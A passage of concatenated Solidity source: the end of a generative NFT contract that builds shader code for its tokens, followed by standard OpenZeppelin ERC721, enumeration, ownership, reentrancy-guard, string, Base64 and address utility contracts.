shaders, shaderId.toString(), ':["', _noiseShaders[shaderId].sourceCode, '","', _noiseShaders[shaderId].uniformTypes, '"],'
);
}
return abi.encodePacked(
'noise({', shaders, '},', program.sourceCode, ',"', Strings.toHexString(uint256(_noiseDNA[noiseId].dna), 32), '");'
);
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721, ERC721Enumerable) {
super._beforeTokenTransfer(from, to, tokenId);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Base64.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides a set of functions to operate with Base64 strings.
*
* _Available since v4.5._
*/
library Base64 {
/**
* @dev Base64 Encoding/Decoding Table
*/
string internal constant _TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/**
* @dev Converts a `bytes` to its Bytes64 `string` representation.
*/
function encode(bytes memory data) internal pure returns (string memory) {
/**
* Inspired by Brecht Devos (Brechtpd) implementation - MIT licence
* https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol
*/
if (data.length == 0) return "";
// Loads the table into memory
string memory table = _TABLE;
// Encoding takes 3 bytes chunks of binary data from `bytes` data parameter
// and split into 4 numbers of 6 bits.
// The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up
// - `data.length + 2` -> Round up
// - `/ 3` -> Number of 3-bytes chunks
// - `4 *` -> 4 characters for each chunk
string memory result = new string(4 * ((data.length + 2) / 3));
assembly {
// Prepare the lookup table (skip the first "length" byte)
let tablePtr := add(table, 1)
// Prepare result pointer, jump over length
let resultPtr := add(result, 32)
// Run over the input, 3 bytes at a time
for {
let dataPtr := data
let endPtr := add(data, mload(data))
} lt(dataPtr, endPtr) {
} {
// Advance 3 bytes
dataPtr := add(dataPtr, 3)
let input := mload(dataPtr)
// To write each character, shift the 3 bytes (18 bits) chunk
// 4 times in blocks of 6 bits for each character (18, 12, 6, 0)
// and apply logical AND with 0x3F which is the number of
// the previous character in the ASCII table prior to the Base64 Table
// The result is then added to the table to get the character to write,
// and finally write it in the result pointer but with a left shift
// of 256 (1 byte) - 8 (1 ASCII char) = 248 bits
mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))
resultPtr := add(resultPtr, 1) // Advance
mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))
resultPtr := add(resultPtr, 1) // Advance
mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))
resultPtr := add(resultPtr, 1) // Advance
mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))
resultPtr := add(resultPtr, 1) // Advance
}
// When data `bytes` is not exactly 3 bytes long
// it is padded with `=` characters at the end
switch mod(mload(data), 3)
case 1 {
mstore8(sub(resultPtr, 1), 0x3d)
mstore8(sub(resultPtr, 2), 0x3d)
}
case 2 {
mstore8(sub(resultPtr, 1), 0x3d)
}
}
return result;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
